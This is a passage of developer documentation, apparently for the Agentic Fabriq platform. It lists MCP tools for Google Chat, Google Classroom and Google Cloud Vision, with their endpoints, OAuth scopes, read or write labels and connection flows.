/api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. google_chat_add_member (write, destructive) — Add a member to a Google Chat space. IMPORTANT: You must first call google_chat_list_spaces to get the space_name. POST /api/v1/tools/google/chat/spaces/{space_name}/members. Scopes: https://www.googleapis.com/auth/chat.memberships. google_chat_create_space (write, destructive) — Create a new Google Chat space (room). Returns the new space's name and details. POST /api/v1/tools/google/chat/spaces/create. Scopes: https://www.googleapis.com/auth/chat.spaces.create. google_chat_delete_message (write, destructive) — Delete a message from Google Chat. IMPORTANT: You must first call google_chat_list_messages to get the message_name. DELETE /api/v1/tools/google/chat/messages/{message_name}/delete. Scopes: https://www.googleapis.com/auth/chat.messages. google_chat_delete_space (write, destructive) — Delete a Google Chat space. WARNING: This deletes all messages and cannot be undone. IMPORTANT: You must first call google_chat_list_spaces to get the space_name. DELETE /api/v1/tools/google/chat/spaces/{space_name}/delete. Scopes: https://www.googleapis.com/auth/chat.delete. google_chat_get_message (read) — Get a specific message from a Google Chat space. IMPORTANT: You must first call google_chat_list_messages to get the message_name. GET /api/v1/tools/google/chat/messages/{message_name}. Scopes: https://www.googleapis.com/auth/chat.messages.readonly. google_chat_get_space (read) — Get details about a specific Google Chat space. IMPORTANT: You must first call google_chat_list_spaces to get the space_name. GET /api/v1/tools/google/chat/spaces/{space_name}. Scopes: https://www.googleapis.com/auth/chat.spaces.readonly. google_chat_list_members (read) — List members of a Google Chat space. IMPORTANT: You must first call google_chat_list_spaces to get the space_name. GET /api/v1/tools/google/chat/spaces/{space_name}/members. Scopes: https://www.googleapis.com/auth/chat.memberships.readonly. google_chat_list_messages (read) — List messages in a Google Chat space. IMPORTANT: You must first call google_chat_list_spaces to get the space_name. GET /api/v1/tools/google/chat/spaces/{space_name}/messages. Scopes: https://www.googleapis.com/auth/chat.messages.readonly. google_chat_list_spaces (read) — List Google Chat spaces (rooms and DMs) the user has access to. Returns space names, types, and membership info. GET /api/v1/tools/google/chat/spaces. Scopes: https://www.googleapis.com/auth/chat.spaces.readonly. google_chat_remove_member (write, destructive) — Remove a member from a Google Chat space. IMPORTANT: You must first call google_chat_list_members to get the full member_name. DELETE /api/v1/tools/google/chat/members/{member_name}/remove. Scopes: https://www.googleapis.com/auth/chat.memberships. google_chat_send_message (send, destructive) — Send a message to a Google Chat space. IMPORTANT: You must first call google_chat_list_spaces to get the space_name. POST /api/v1/tools/google/chat/spaces/{space_name}/messages. Scopes: https://www.googleapis.com/auth/chat.messages.create. google_chat_update_message (write, destructive) — Update an existing message in Google Chat. IMPORTANT: You must first call google_chat_list_messages to get the message_name. PATCH /api/v1/tools/google/chat/messages/{message_name}. Scopes: https://www.googleapis.com/auth/chat.messages. google_chat_update_space (write, destructive) — Update a Google Chat space's settings. IMPORTANT: You must first call google_chat_list_spaces to get the space_name. PATCH /api/v1/tools/google/chat/spaces/{space_name}/update. Scopes: https://www.googleapis.com/auth/chat.spaces. ================================================================================ ## Google Chat URL: https://www.agenticfabriq.com/integrations/googlechat Section: Integrated Tools Google Chat — 50 MCP tools Provider key: googlechat. Scopes: https://www.googleapis.com/auth/chat.admin.spaces.readonly, https://www.googleapis.com/auth/chat.customemojis, https://www.googleapis.com/auth/chat.customemojis.readonly, https://www.googleapis.com/auth/chat.delete, https://www.googleapis.com/auth/chat.memberships, https://www.googleapis.com/auth/chat.memberships.readonly, https://www.googleapis.com/auth/chat.messages, https://www.googleapis.com/auth/chat.messages.create, https://www.googleapis.com/auth/chat.messages.reactions, https://www.googleapis.com/auth/chat.messages.reactions.create, https://www.googleapis.com/auth/chat.messages.reactions.readonly, https://www.googleapis.com/auth/chat.messages.readonly, https://www.googleapis.com/auth/chat.spaces, https://www.googleapis.com/auth/chat.spaces.create, https://www.googleapis.com/auth/chat.spaces.pins, https://www.googleapis.com/auth/chat.spaces.pins.readonly, https://www.googleapis.com/auth/chat.spaces.readonly, https://www.googleapis.com/auth/chat.users.availability, https://www.googleapis.com/auth/chat.users.availability.readonly, https://www.googleapis.com/auth/chat.users.readstate, https://www.googleapis.com/auth/chat.users.readstate.readonly, https://www.googleapis.com/auth/chat.users.sections, https://www.googleapis.com/auth/chat.users.sections.readonly, https://www.googleapis.com/auth/chat.users.spacesettings. Connect: AF hosted — Agentic Fabriq's OAuth app, coming soon; BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. googlechat_delete_v1_customemojis_by_customemojisid (write, destructive) — Deletes a custom emoji. By default, users can only delete custom emoji they created. Emoji managers assigned by the administrator can delete any custom emoji in the organization. See Learn about custom emojis in Google Chat. Custom emojis are only available for Google Workspace accounts, and the administrator must turn custom emojis on for the organization. For more information, see Learn about custom emojis in Google Chat and Manage custom emoji permissions. via DELETE /v1/customEmojis/{customEmojisId} DELETE /api/v1/googlechat/v1/customEmojis/{customEmojisId}. Scopes: https://www.googleapis.com/auth/chat.customemojis. googlechat_delete_v1_spaces_by_spacesid (write, destructive) — Deletes a named space. Always performs a cascading delete, which means that the space's child resources—like messages posted in the space and memberships in the space—are also deleted. For an example, see Delete a space. via DELETE /v1/spaces/{spacesId} DELETE /api/v1/googlechat/v1/spaces/{spacesId}. Scopes: https://www.googleapis.com/auth/chat.delete. googlechat_delete_v1_spaces_by_spacesid_members_by_membersid (write, destructive) — Deletes a membership. For an example, see Remove a user or a Google Chat app from a space. via DELETE /v1/spaces/{spacesId}/members/{membersId} DELETE /api/v1/googlechat/v1/spaces/{spacesId}/members/{membersId}. Scopes: https://www.googleapis.com/auth/chat.memberships. googlechat_delete_v1_spaces_by_spacesid_messagepins_by_messagepinsid (write, destructive) — Deletes a message pin. via DELETE /v1/spaces/{spacesId}/messagePins/{messagePinsId} DELETE /api/v1/googlechat/v1/spaces/{spacesId}/messagePins/{messagePinsId}. Scopes: https://www.googleapis.com/auth/chat.spaces.pins. googlechat_delete_v1_spaces_by_spacesid_messages_by_messagesid (write, destructive) — Deletes a message. For an example, see Delete a message. via DELETE /v1/spaces/{spacesId}/messages/{messagesId} DELETE /api/v1/googlechat/v1/spaces/{spacesId}/messages/{messagesId}. Scopes: https://www.googleapis.com/auth/chat.messages. googlechat_delete_v1_spaces_by_spacesid_messages_by_messagesid_reactions_by_reactionsid (write, destructive) — Deletes a reaction to a message. For an example, see Delete a reaction. via DELETE /v1/spaces/{spacesId}/messages/{messagesId}/reactions/{reactionsId} DELETE /api/v1/googlechat/v1/spaces/{spacesId}/messages/{messagesId}/reactions/{reactionsId}. Scopes: https://www.googleapis.com/auth/chat.messages.reactions. googlechat_delete_v1_users_by_usersid_sections_by_sectionsid (write, destructive) — Deletes a section of type `CUSTOM_SECTION`. If the section contains items, such as spaces, the items are moved to Google Chat's default sections and are not deleted. For details, see Create and organize sections in Google Chat. via DELETE /v1/users/{usersId}/sections/{sectionsId} DELETE /api/v1/googlechat/v1/users/{usersId}/sections/{sectionsId}. Scopes: https://www.googleapis.com/auth/chat.users.sections. googlechat_get_v1_customemojis (read) — Lists custom emojis visible to the authenticated user. Custom emojis are only available for Google Workspace accounts, and the administrator must turn custom emojis on for the organization. For more information, see Learn about custom emojis in Google Chat and Manage custom emoji permissions. via GET /v1/customEmojis GET /api/v1/googlechat/v1/customEmojis. Scopes: https://www.googleapis.com/auth/chat.customemojis.readonly. googlechat_get_v1_customemojis_by_customemojisid (read) — Returns details about a custom emoji. Custom emojis are only available for Google Workspace accounts, and the administrator must turn custom emojis on for the organization. For more information, see Learn about custom emojis in Google Chat and Manage custom emoji permissions. via GET /v1/customEmojis/{customEmojisId} GET /api/v1/googlechat/v1/customEmojis/{customEmojisId}. Scopes: https://www.googleapis.com/auth/chat.customemojis.readonly. googlechat_get_v1_spaces (read) — Lists spaces the caller is a member of. Group chats and DMs aren't listed until the first message is sent. For an example, see List spaces. via GET /v1/spaces GET /api/v1/googlechat/v1/spaces. Scopes: https://www.googleapis.com/auth/chat.spaces.readonly. googlechat_get_v1_spaces_by_spacesid (read) — Returns details about a space. For an example, see Get details about a space. via GET /v1/spaces/{spacesId} GET /api/v1/googlechat/v1/spaces/{spacesId}. Scopes: https://www.googleapis.com/auth/chat.spaces.readonly. googlechat_get_v1_spaces_by_spacesid_members (read) — Lists memberships in a space. For an example, see List users and Google Chat apps in a space. Listing memberships with app authentication lists memberships in spaces that the Chat app has access to, but excludes Chat app memberships, including its own. Listing memberships with User authentication lists memberships in spaces that the authenticated user has access to. via GET /v1/spaces/{spacesId}/members GET /api/v1/googlechat/v1/spaces/{spacesId}/members. Scopes: https://www.googleapis.com/auth/chat.memberships.readonly. googlechat_get_v1_spaces_by_spacesid_members_by_membersid (read) — Returns details about a membership. For an example, see Get details about a user's or Google Chat app's membership. via GET /v1/spaces/{spacesId}/members/{membersId} GET /api/v1/googlechat/v1/spaces/{spacesId}/members/{membersId}. Scopes: https://www.googleapis.com/auth/chat.memberships.readonly. googlechat_get_v1_spaces_by_spacesid_messagepins (read) — Lists message pins in a space. Users can pin important messages in spaces for easy access. For more information, see Pin or unpin a conversation in Google Chat. via GET /v1/spaces/{spacesId}/messagePins GET /api/v1/googlechat/v1/spaces/{spacesId}/messagePins. Scopes: https://www.googleapis.com/auth/chat.spaces.pins.readonly. googlechat_get_v1_spaces_by_spacesid_messages (read) — Lists messages in a space that the caller is a member of, including messages from blocked members and spaces. System messages, like those announcing new space members, aren't included. If you list messages from a space with no messages, the response is an empty object. When using a REST/HTTP interface, the response contains an empty JSON object, `{}`. For an example, see List messages. via GET /v1/spaces/{spacesId}/messages GET /api/v1/googlechat/v1/spaces/{spacesId}/messages. Scopes: https://www.googleapis.com/auth/chat.messages.readonly. googlechat_get_v1_spaces_by_spacesid_messages_by_messagesid (read) — Returns details about a message. For an example, see Get details about a message. via GET /v1/spaces/{spacesId}/messages/{messagesId} GET /api/v1/googlechat/v1/spaces/{spacesId}/messages/{messagesId}. Scopes: https://www.googleapis.com/auth/chat.messages.readonly. googlechat_get_v1_spaces_by_spacesid_messages_by_messagesid_reactions (read) — Lists reactions to a message. For an example, see List reactions for a message. via GET /v1/spaces/{spacesId}/messages/{messagesId}/reactions GET /api/v1/googlechat/v1/spaces/{spacesId}/messages/{messagesId}/reactions. Scopes: https://www.googleapis.com/auth/chat.messages.reactions.readonly. googlechat_get_v1_spaces_by_spacesid_spaceevents (read) — Lists events from a Google Chat space. For each event, the payload contains the most recent version of the Chat resource. For example, if you list events about new space members, the server returns `Membership` resources that contain the latest membership details. If new members were removed during the requested period, the event payload contains an empty `Membership` resource. via GET /v1/spaces/{spacesId}/spaceEvents GET /api/v1/googlechat/v1/spaces/{spacesId}/spaceEvents. Scopes: https://www.googleapis.com/auth/chat.spaces.readonly. googlechat_get_v1_spaces_by_spacesid_spaceevents_by_spaceeventsid (read) — Returns an event from a Google Chat space. The event payload contains the most recent version of the resource that changed. For example, if you request an event about a new message but the message was later updated, the server returns the updated `Message` resource in the event payload. Note: The `permissionSettings` field is not returned in the Space object of the Space event data for this request. via GET /v1/spaces/{spacesId}/spaceEvents/{spaceEventsId} GET /api/v1/googlechat/v1/spaces/{spacesId}/spaceEvents/{spaceEventsId}. Scopes: https://www.googleapis.com/auth/chat.spaces.readonly. googlechat_get_v1_spaces_finddirectmessage (read) — Returns the existing direct message with the specified user. If no direct message space is found, returns a `404 NOT_FOUND` error. For an example, see Find a direct message. With app authentication, returns the direct message space between the specified user and the calling Chat app. With user authentication, returns the direct message space between the specified user and the authenticated user. via GET /v1/spaces:findDirectMessage GET /api/v1/googlechat/v1/spaces:findDirectMessage. Scopes: https://www.googleapis.com/auth/chat.spaces.readonly. googlechat_get_v1_spaces_findgroupchats (read) — Returns all spaces with `spaceType == GROUP_CHAT`, whose human memberships contain exactly the calling user, and the users specified in `FindGroupChatsRequest.users`. Only members that have joined the conversation are supported. For an example, see Find group chats. If the calling user blocks, or is blocked by, some users, and no spaces with the entire specified set of users are found, this method returns spaces that don't include the blocked or blocking users. The specified set of users must contain only human (non-app) memberships. A request that contains non-human users doesn't return any spaces. via GET /v1/spaces:findGroupChats GET /api/v1/googlechat/v1/spaces:findGroupChats. Scopes: https://www.googleapis.com/auth/chat.memberships.readonly. googlechat_get_v1_spaces_search (read) — Returns a list of spaces in a Google Workspace organization. For an example, see Search for and manage spaces. When `use_admin_access` is set to `false`, the results are limited to spaces where the calling user is a joined member. To search with administrator privileges, set `use_admin_access` to `true`. via GET /v1/spaces:search GET /api/v1/googlechat/v1/spaces:search. Scopes: https://www.googleapis.com/auth/chat.admin.spaces.readonly. googlechat_get_v1_users_by_usersid_availability (read) — Returns availability information for a human user in Google Chat. For example, this can be used to check if a user is online or away, or to retrieve their custom status message. This method only retrieves the authenticated user's availability. via GET /v1/users/{usersId}/availability GET /api/v1/googlechat/v1/users/{usersId}/availability. Scopes: https://www.googleapis.com/auth/chat.users.availability.readonly. googlechat_get_v1_users_by_usersid_sections (read) — Lists sections available to the Chat user. Sections help users group their conversations and customize the list of spaces displayed in Chat navigation panel. For details, see Create and organize sections in Google Chat. via GET /v1/users/{usersId}/sections GET /api/v1/googlechat/v1/users/{usersId}/sections. Scopes: https://www.googleapis.com/auth/chat.users.sections.readonly. googlechat_get_v1_users_by_usersid_sections_by_sectionsid_items (read) — Lists items in a section. Only spaces can be section items. For details, see Create and organize sections in Google Chat. via GET /v1/users/{usersId}/sections/{sectionsId}/items GET /api/v1/googlechat/v1/users/{usersId}/sections/{sectionsId}/items. Scopes: https://www.googleapis.com/auth/chat.users.sections.readonly. googlechat_get_v1_users_by_usersid_spaces_by_spacesid_spacenotificationsetting (read) — Gets the space notification setting. For an example, see Get the caller's space notification setting. via GET /v1/users/{usersId}/spaces/{spacesId}/spaceNotificationSetting GET /api/v1/googlechat/v1/users/{usersId}/spaces/{spacesId}/spaceNotificationSetting. Scopes: https://www.googleapis.com/auth/chat.users.spacesettings. googlechat_get_v1_users_by_usersid_spaces_by_spacesid_spacereadstate (read) — Returns details about a user's read state within a space, used to identify read and unread messages. For an example, see Get details about a user's space read state. via GET /v1/users/{usersId}/spaces/{spacesId}/spaceReadState GET /api/v1/googlechat/v1/users/{usersId}/spaces/{spacesId}/spaceReadState. Scopes: https://www.googleapis.com/auth/chat.users.readstate.readonly. googlechat_get_v1_users_by_usersid_spaces_by_spacesid_threads_by_threadsid_threadreadstate (read) — Returns details about a user's read state within a thread, used to identify read and unread messages. For an example, see Get details about a user's thread read state. via GET /v1/users/{usersId}/spaces/{spacesId}/threads/{threadsId}/threadReadState GET /api/v1/googlechat/v1/users/{usersId}/spaces/{spacesId}/threads/{threadsId}/threadReadState. Scopes: https://www.googleapis.com/auth/chat.users.readstate.readonly. googlechat_patch_v1_spaces_by_spacesid (write) — Updates a space. For an example, see Update a space. If you're updating the `displayName` field and receive the error message `ALREADY_EXISTS`, try a different display name.. An existing space within the Google Workspace organization might already use this display name. via PATCH /v1/spaces/{spacesId} PATCH /api/v1/googlechat/v1/spaces/{spacesId}. Scopes: https://www.googleapis.com/auth/chat.spaces. googlechat_patch_v1_spaces_by_spacesid_members_by_membersid (write) — Updates a membership. For an example, see Update a user's membership in a space. via PATCH /v1/spaces/{spacesId}/members/{membersId} PATCH /api/v1/googlechat/v1/spaces/{spacesId}/members/{membersId}. Scopes: https://www.googleapis.com/auth/chat.memberships. googlechat_patch_v1_spaces_by_spacesid_messages_by_messagesid (write) — Updates a message. There's a difference between the `patch` and `update` methods. The `patch` method uses a `patch` request while the `update` method uses a `put` request. We recommend using the `patch` method. For an example, see Update a message. via PATCH /v1/spaces/{spacesId}/messages/{messagesId} PATCH /api/v1/googlechat/v1/spaces/{spacesId}/messages/{messagesId}. Scopes: https://www.googleapis.com/auth/chat.messages. googlechat_patch_v1_users_by_usersid_availability (write) — Updates availability information for a human user. Only the `custom_status` field can be updated through this method. This method only updates the authenticated user's availability. via PATCH /v1/users/{usersId}/availability PATCH /api/v1/googlechat/v1/users/{usersId}/availability. Scopes: https://www.googleapis.com/auth/chat.users.availability. googlechat_patch_v1_users_by_usersid_sections_by_sectionsid (write) — Updates a section. Only sections of type `CUSTOM_SECTION` can be updated. For details, see Create and organize sections in Google Chat. via PATCH /v1/users/{usersId}/sections/{sectionsId} PATCH /api/v1/googlechat/v1/users/{usersId}/sections/{sectionsId}. Scopes: https://www.googleapis.com/auth/chat.users.sections. googlechat_patch_v1_users_by_usersid_spaces_by_spacesid_spacenotificationsetting (write) — Updates the space notification setting. For an example, see Update the caller's space notification setting. via PATCH /v1/users/{usersId}/spaces/{spacesId}/spaceNotificationSetting PATCH /api/v1/googlechat/v1/users/{usersId}/spaces/{spacesId}/spaceNotificationSetting. Scopes: https://www.googleapis.com/auth/chat.users.spacesettings. googlechat_patch_v1_users_by_usersid_spaces_by_spacesid_spacereadstate (write) — Updates a user's read state within a space, used to identify read and unread messages. For an example, see Update a user's space read state. via PATCH /v1/users/{usersId}/spaces/{spacesId}/spaceReadState PATCH /api/v1/googlechat/v1/users/{usersId}/spaces/{spacesId}/spaceReadState. Scopes: https://www.googleapis.com/auth/chat.users.readstate. googlechat_post_v1_customemojis (write) — Creates a custom emoji. Custom emojis are only available for Google Workspace accounts, and the administrator must turn custom emojis on for the organization. For more information, see Learn about custom emojis in Google Chat and Manage custom emoji permissions. via POST /v1/customEmojis POST /api/v1/googlechat/v1/customEmojis. Scopes: https://www.googleapis.com/auth/chat.customemojis. googlechat_post_v1_spaces (write) — Creates a space. Can be used to create a named space, or a group chat in `Import mode`. For an example, see Create a space. via POST /v1/spaces POST /api/v1/googlechat/v1/spaces. Scopes: https://www.googleapis.com/auth/chat.spaces.create. googlechat_post_v1_spaces_by_spacesid_members (write) — Creates a membership for the calling Chat app, a user, or a Google Group. Creating memberships for other Chat apps isn't supported. When creating a membership, if the specified member has their auto-accept policy turned off, then they're invited, and must accept the space invitation before joining. Otherwise, creating a membership adds the member directly to the specified space. via POST /v1/spaces/{spacesId}/members POST /api/v1/googlechat/v1/spaces/{spacesId}/members. Scopes: https://www.googleapis.com/auth/chat.memberships. googlechat_post_v1_spaces_by_spacesid_messagepins (write) — Creates a message pin. via POST /v1/spaces/{spacesId}/messagePins POST /api/v1/googlechat/v1/spaces/{spacesId}/messagePins. Scopes: https://www.googleapis.com/auth/chat.spaces.pins. googlechat_post_v1_spaces_by_spacesid_messages (write) — Creates a message in a Google Chat space. For an example, see Send a message. via POST /v1/spaces/{spacesId}/messages POST /api/v1/googlechat/v1/spaces/{spacesId}/messages. Scopes: https://www.googleapis.com/auth/chat.messages.create. googlechat_post_v1_spaces_by_spacesid_messages_by_messagesid_reactions (write) — Creates a reaction and adds it to a message. For an example, see Add a reaction to a message. via POST /v1/spaces/{spacesId}/messages/{messagesId}/reactions POST /api/v1/googlechat/v1/spaces/{spacesId}/messages/{messagesId}/reactions. Scopes: https://www.googleapis.com/auth/chat.messages.reactions.create. googlechat_post_v1_spaces_by_spacesid_messages_search (write) — Searches for messages in Google Chat that the calling user has access to. Returns a list of messages matching the search criteria. To search across all spaces the user has access to, set `parent` to `spaces/-`. Using any other value for `parent` results in an `INVALID_ARGUMENT` error. The returned messages have their `name` field populated with the full resource name, which includes the specific `space` in which the message resides. This API doesn't return all message types. The types of messages listed below aren't included in the response. Use ListMessages to list all messages. - Private Messages that are visible to the authenticated user. - Messages posted by Chat apps in spaces or group chats. - Messages in a Chat app DM. - Messages from blocked users. - Messages in spaces that the caller has muted. via POST /v1/spaces/{spacesId}/messages:search POST /api/v1/googlechat/v1/spaces/{spacesId}/messages:search. Scopes: https://www.googleapis.com/auth/chat.messages.readonly. googlechat_post_v1_spaces_setup (write) — Creates a space and adds specified users to it. The calling user is automatically added to the space, and shouldn't be specified as a membership in the request. For an example, see Set up a space with initial members. To specify the human members to add, add memberships with the appropriate `membership.member.name`. To add a human user, use `users/{user}`, where `{user}` can be the email address for the user. For users in the same Workspace organization `{user}` can also be the `id` for the person from the People API, or the `id` for the user in the Directory API. For example, if the People API Person profile ID for `user@example.com` is `123456789`, you can add the user to the space by setting the `membership.member.name` to `users/user@example.com` or `users/123456789`. To specify the Google groups to add, add memberships with the appropriate `membership.group_member.name`. To add or invite a Google group, use `groups/{group}`, where `{group}` is the `id` for the group from the Cloud Identity Groups API. For example, you can use Cloud Identity Groups lookup API to retrieve the ID `123456789` for group email `group@example.com`, then you can add the group to the space by setting the `membership.group_member.name` to `groups/123456789`. Group email is not supported, and Google groups can only be added as members in named spaces. For a named space or group chat, if the caller blocks, or is blocked by some members, or doesn't have permission to add some members, then those members aren't added to the created space. To create a direct message (DM) between the calling user and another human user, specify exactly one membership to represent the human user. If one user blocks the other, the request fails and the DM isn't created. To create a DM between the calling user and the calling app, set `Space.singleUserBotDm` to `true` and don't specify any memberships. You can only use this method to set up a DM with the calling app. To add the calling app as a member of a space or an existing DM between two human users, see Invite or add a user or app to a space. If a DM already exists between two users, even when one user blocks the other at the time a request is made, then the existing DM is returned. Spaces with threaded replies aren't supported. If you receive the error message `ALREADY_EXISTS` when setting up a space, try a different `displayName`. An existing space within the Google Workspace organization might already use this display name. via POST /v1/spaces:setup POST /api/v1/googlechat/v1/spaces:setup. Scopes: https://www.googleapis.com/auth/chat.spaces.create. googlechat_post_v1_users_by_usersid_availability_markasactive (write) — Marks user as `ACTIVE` in Google Chat. Sets the user's availability state to `ACTIVE`. The `ACTIVE` state lasts until the specified expiration, at which point the user's state becomes `AWAY`. Note that if the user is actively using Chat, the `ACTIVE` state duration may extend beyond the provided expiration. This method only updates the authenticated user's availability. via POST /v1/users/{usersId}/availability:markAsActive POST /api/v1/googlechat/v1/users/{usersId}/availability:markAsActive. Scopes: https://www.googleapis.com/auth/chat.users.availability. googlechat_post_v1_users_by_usersid_availability_markasaway (write) — Marks user as `AWAY` in Google Chat. Sets the user's state to away and is not affected by the user's activity. This method only updates the authenticated user's availability. via POST /v1/users/{usersId}/availability:markAsAway POST /api/v1/googlechat/v1/users/{usersId}/availability:markAsAway. Scopes: https://www.googleapis.com/auth/chat.users.availability. googlechat_post_v1_users_by_usersid_availability_markasdonotdisturb (write) — Marks user as `DO_NOT_DISTURB` in Google Chat. Sets a user's availability state to `DO_NOT_DISTURB` until a specified expiration time. When in `DO_NOT_DISTURB`, users typically won't receive notifications. This method only updates the authenticated user's availability. via POST /v1/users/{usersId}/availability:markAsDoNotDisturb POST /api/v1/googlechat/v1/users/{usersId}/availability:markAsDoNotDisturb. Scopes: https://www.googleapis.com/auth/chat.users.availability. googlechat_post_v1_users_by_usersid_sections (write) — Creates a section in Google Chat. Sections help users group conversations and customize the list of spaces displayed in Chat navigation panel. Only sections of type `CUSTOM_SECTION` can be created. For details, see Create and organize sections in Google Chat. via POST /v1/users/{usersId}/sections POST /api/v1/googlechat/v1/users/{usersId}/sections. Scopes: https://www.googleapis.com/auth/chat.users.sections. googlechat_post_v1_users_by_usersid_sections_by_sectionsid_items_by_itemsid_move (write) — Moves an item from one section to another. For example, if a section contains spaces, this method can be used to move a space to a different section. For details, see Create and organize sections in Google Chat. via POST /v1/users/{usersId}/sections/{sectionsId}/items/{itemsId}:move POST /api/v1/googlechat/v1/users/{usersId}/sections/{sectionsId}/items/{itemsId}:move. Scopes: https://www.googleapis.com/auth/chat.users.sections. googlechat_post_v1_users_by_usersid_sections_by_sectionsid_position (write) — Changes the sort order of a section. For details, see Create and organize sections in Google Chat. via POST /v1/users/{usersId}/sections/{sectionsId}:position POST /api/v1/googlechat/v1/users/{usersId}/sections/{sectionsId}:position. Scopes: https://www.googleapis.com/auth/chat.users.sections. googlechat_put_v1_spaces_by_spacesid_messages_by_messagesid (write) — Updates a message. There's a difference between the `patch` and `update` methods. The `patch` method uses a `patch` request while the `update` method uses a `put` request. We recommend using the `patch` method. For an example, see Update a message. via PUT /v1/spaces/{spacesId}/messages/{messagesId} PUT /api/v1/googlechat/v1/spaces/{spacesId}/messages/{messagesId}. Scopes: https://www.googleapis.com/auth/chat.messages. ================================================================================ ## Google Classroom URL: https://www.agenticfabriq.com/docs/tools-classroom Section: Integrated Tools Google Classroom — 7 MCP tools Provider key: classroom. Scopes: https://www.googleapis.com/auth/classroom.courses, https://www.googleapis.com/auth/classroom.courses.readonly, https://www.googleapis.com/auth/classroom.rosters.readonly. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. google_classroom_create_course (write, destructive) — Create a new Google Classroom course. Returns the course ID and details. POST /api/v1/tools/google/classroom/courses. Scopes: https://www.googleapis.com/auth/classroom.courses. google_classroom_delete_course (write, destructive) — Delete a already archived course. WARNING: This cannot be undone. IMPORTANT: You must first call google_classroom_list_courses to get the course_id. DELETE /api/v1/tools/google/classroom/courses/{course_id}. Scopes: https://www.googleapis.com/auth/classroom.courses. google_classroom_get_course (read) — Get details about a specific course. IMPORTANT: You must first call google_classroom_list_courses to get the course_id. GET /api/v1/tools/google/classroom/courses/{course_id}. Scopes: https://www.googleapis.com/auth/classroom.courses.readonly. google_classroom_list_courses (read) — List Google Classroom courses. Returns course IDs, names, and enrollment information. GET /api/v1/tools/google/classroom/courses. Scopes: https://www.googleapis.com/auth/classroom.courses.readonly. google_classroom_list_students (read) — List all students enrolled in a course (only if user is teacher, otherwise students listed as classmates). IMPORTANT: You must first call google_classroom_list_courses to get the course_id. GET /api/v1/tools/google/classroom/courses/{course_id}/students. Scopes: https://www.googleapis.com/auth/classroom.rosters.readonly. google_classroom_list_teachers (read) — List all teachers of a course. IMPORTANT: You must first call google_classroom_list_courses to get the course_id. GET /api/v1/tools/google/classroom/courses/{course_id}/teachers. Scopes: https://www.googleapis.com/auth/classroom.rosters.readonly. google_classroom_update_course (write, destructive) — Update a course's details. IMPORTANT: You must first call google_classroom_list_courses to get the course_id. PATCH /api/v1/tools/google/classroom/courses/{course_id}. Scopes: https://www.googleapis.com/auth/classroom.courses. ================================================================================ ## Google Cloud Vision URL: https://www.agenticfabriq.com/integrations/google_cloud_vision Section: Integrated Tools Google Cloud Vision — 23 MCP tools Provider key: google_cloud_vision. Scopes: https://www.googleapis.com/auth/cloud-vision. Connect: BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. google_cloud_vision_delete_v1_by_name (write, destructive) — Permanently delete a Cloud Vision v1 resource by its full resource name: a Product and all of its reference images, a ProductSet (the Products and ReferenceImages inside it survive), a single ReferenceImage, or a long-running operation's record. Deleting an operation does NOT cancel it -- it only says the client is no longer interested in the result. Metadata goes immediately, but searches against ProductSets that contained the item may still match until the related caches refresh, and the image files in Cloud Storage are never deleted via DELETE /v1/{+name} DELETE /api/v1/google_cloud_vision/v1/{name}. Scopes: https://www.googleapis.com/auth/cloud-vision. google_cloud_vision_get_v1_by_name (read) — Fetch any Cloud Vision v1 resource by its full resource name: a long-running operation's latest state (operations/ID, projects/P/operations/ID, locations/L/operations/ID or projects/P/locations/L/operations/ID -- poll this to follow an async annotate, import or purge), a Product (projects/P/locations/L/products/PRODUCT_ID), a ProductSet (projects/P/locations/L/productSets/PRODUCT_SET_ID) or a ReferenceImage (projects/P/locations/L/products/PRODUCT_ID/referenceImages/IMAGE_ID). Answers NOT_FOUND if the resource does not exist via GET /v1/{+name} GET /api/v1/google_cloud_vision/v1/{name}. Scopes: https://www.googleapis.com/auth/cloud-vision. google_cloud_vision_get_v1_by_name_products (read) — List the Products that belong to ONE ProductSet, in an unspecified order. A ProductSet that does not exist answers an empty products list rather than an error, so an empty page is not proof the set is there. Answers INVALID_ARGUMENT if pageSize is above 100 or below 1 via GET /v1/{+name}/products GET /api/v1/google_cloud_vision/v1/{parent}/productSets/{product_set_id}/products. Scopes: https://www.googleapis.com/auth/cloud-vision. google_cloud_vision_get_v1_by_parent_products (read) — List the Product Search products of one project and location, in an unspecified order, page by page. Answers INVALID_ARGUMENT if pageSize is above 100 or below 1 via GET /v1/{+parent}/products GET /api/v1/google_cloud_vision/v1/{parent}/products. Scopes: https://www.googleapis.com/auth/cloud-vision. google_cloud_vision_get_v1_by_parent_productsets 